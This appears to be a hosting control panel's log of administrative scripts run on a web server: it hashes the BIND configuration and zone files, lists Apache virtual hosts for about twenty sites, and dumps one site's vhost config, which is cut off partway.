p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-02 15:10:49: Establishing a connection
2026-03-02 15:11:03: Establishing a connection
2026-03-02 15:11:03: 

PUT: /tmp/pkp921876

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-02 15:11:03: 

runuser -l bind -s /bin/bash -c '/tmp/pkp921876; rm /tmp/pkp921876'

2026-03-02 15:11:03: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-02 15:11:07: Establishing a connection
2026-03-02 15:11:08: 

PUT: /tmp/pkp306695

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-02 15:11:08: 

chmod 755 /tmp/pkp306695; /tmp/pkp306695; rm /tmp/pkp306695

2026-03-02 15:11:08: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-02 15:11:08: 

PUT: /tmp/pkp790946

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/exjw_www_org-uk.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-02 15:11:08: 

chmod 755 /tmp/pkp790946; /tmp/pkp790946; rm /tmp/pkp790946

2026-03-02 15:11:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf	1323

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
